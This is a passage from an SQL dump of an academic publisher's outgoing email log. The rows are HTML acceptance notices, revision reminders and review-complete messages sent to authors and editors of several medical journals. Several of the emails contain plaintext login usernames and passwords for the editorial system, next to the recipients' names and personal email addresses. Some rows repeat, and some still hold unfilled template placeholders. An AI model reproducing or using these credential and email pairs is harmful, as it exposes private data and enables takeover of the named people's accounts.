/>\r\nThe revision of <b>ipaom-21-7030</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>gul</b><br />\r\npassword: <b>0Aq374SL</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','drgulilhan@hotmail.com',7030,'2021-03-06',85),(2722,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6964</b><br />\r\n            <br />\r\n            Article Title: <b>Comparative analysis of biochemical indexes of severe and non-severe patients infected with COVID-19</b><br />\r\n            <br />\r\n            Corresponding Author: <b>el ghali boufrioua</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6964</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',6964,'2021-03-06',85),(2724,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7163</b><br />\r\n            <br />\r\n            Article Title: <b>Physical activity assessment in patients with multiple sclerosis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Dorokhov</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dorohovart@yandex.ru',7163,'2021-03-06',75),(2740,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-7204</b><br />\r\n            <br />\r\n            Article Title: <b>Effect of COVID-19 Pandemic on Early Follow-up and Outcomes of Non-COVID Surgical Patients</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Engin</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>IPJUS-21-7204</b> for the <b>Journal of Universal Surgery</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','omerengin@hotmail.com',7204,'2021-03-10',319),(2743,'<p>Ref.:  Ms. No. : <b>ipaom-20-6964</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Comparative analysis of biochemical indexes of severe and non-severe patients infected with COVID-19</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. boufrioua</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6964</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>el_ghali</b><br />\r\npassword: <b>NtJmwfgn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','boufriouaelghali@gmail.com',6964,'2021-03-10',85),(2744,'<p>Ref.:  Ms. No. : <b>ipaom-20-6964</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Comparative analysis of biochemical indexes of severe and non-severe patients infected with COVID-19</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. boufrioua</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6964</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>el_ghali</b><br />\r\npassword: <b>NtJmwfgn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','boufriouaelghali@gmail.com',6964,'2021-03-10',85),(2745,'<p>Ref.:  Ms. No. : <b>ipaom-21-7030</b><br />\r\n<br />\r\nARTICLE TITLE: <b>DO HEMATOLOG&Auml;&deg;C CANCERS &Auml;&deg;NCREASE THE FREQUENCY OF DEMODEX SPP?</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Ilhan</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-7030</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>gul</b><br />\r\npassword: <b>0Aq374SL</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','drgulilhan@hotmail.com',7030,'2021-03-10',85),(2746,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7511</b><br />\r\n            <br />\r\n            Article Title: <b>Designing a multi-epitope vaccine against Human Cytomegalovirus: an immunoinformatics approach</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hossain</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','imran.bge5@gmail.com',7511,'2021-03-11',48),(2747,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7627</b><br />\r\n            <br />\r\n            Article Title: <b>Factors influencing Transient elastography in detecting   liver stiffness</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>KV</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Anoop85kv@yahoo.com',7627,'2021-03-11',48),(2748,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7649</b><br />\r\n            <br />\r\n            Article Title: <b>Paradoxical Stroke related to Asymmetrical Circle of Willis - Case Presentation and Literature Review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Cobzaru</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','roxanabahnea@yahoo.com',7649,'2021-03-11',48),(2749,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7662</b><br />\r\n            <br />\r\n            Article Title: <b>Long-term nerve conduction changes after successful treatment of POEMS syndrome: two case reports</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Homenda</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','wojhom@sl.home.pl',7662,'2021-03-11',48),(2750,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7663</b><br />\r\n            <br />\r\n            Article Title: <b>HYPOGLYCEMIC INFLUENCE OF PHYTOCHEMICAL COMPOUNDS OF MEDICINAL PLANTS AND THEIR MECHANISM ACTION</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>fikry</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','walaafikry1985@gmail.com',7663,'2021-03-11',48),(2751,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7662</b><br />\r\n            <br />\r\n            Article Title: <b>Long-term nerve conduction changes after successful treatment of POEMS syndrome: two case reports</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Homenda</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','wojhom@sl.home.pl',7662,'2021-03-11',48),(2752,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7693</b><br />\r\n            <br />\r\n            Article Title: <b>Drug Shortages in Kazakhstan</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Yessenkaiyrova</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','akzhantalgat2003@gmail.com',7693,'2021-03-11',48),(2754,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-7424</b><br />\r\n            <br />\r\n            Article Title: <b>PROSPECTIVE INTERVENTIONAL STUDY TO EVALUATE THE EFFECT OF A MEDICAL DEVICE MADE OF SUBSTANCES IN REDUCING SIGNS AND SYMPTOMS IN PATIENTS WITH HEMORRHOIDAL DISEASE</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Silvio Laureti</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gouri</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaclr-21-7424</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> adel<br />\r\n            <b>Password:</b> 4ijKPSZx<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','pharmagor@gmail.com',7424,'2021-03-11',984),(2757,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6800</b><br />\r\n            <br />\r\n            Article Title: <b>Was the Nobel Prize awarded mistakenly? Should the corpus callosotomy be considered &acirc;&euro;&oelig;split-brain surgery&acirc;&euro;?</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Balthazar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','edcbal17@gmail.com',6800,'2021-03-11',85),(2758,'<p>Ref.:  Ms. No. : <b>ipaom-20-6851</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The application of Chloroquine and Hydroxychloroquine in the treatment of coronavirus disease 2019 (COVID-19).</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Bouhmou</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6851</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ayoub</b><br />\r\npassword: <b>8UKQYWcn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','ayoub_1900@hotmail.fr',6851,'2021-03-11',85),(2762,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-7204</b><br />\r\n            <br />\r\n            Article Title: <b>Effect of COVID-19 Pandemic on Early Follow-up and Outcomes of Non-COVID Surgical Patients</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>SINGH</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','brijeshkumarsinghssmc04@gmail.com',7204,'2021-03-12',319),(2776,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7279</b><br />\r\n            <br />\r\n            Article Title: <b>Nasocardiac reflex: A rare potentially fatal complication of a common procedure</b><br />\r\n            <br />\r\n            Corresponding Author: <b>adam mohamad</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Theodoros </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-7279</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> aslanidis<br />\r\n            <b>Password:</b> qD4MurMN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','thaslan@hotmail.com',7279,'2021-03-15',85),(2780,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7279</b><br />\r\n            <br />\r\n            Article Title: <b>Nasocardiac reflex: A rare potentially fatal complication of a common procedure</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>mohamad</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: 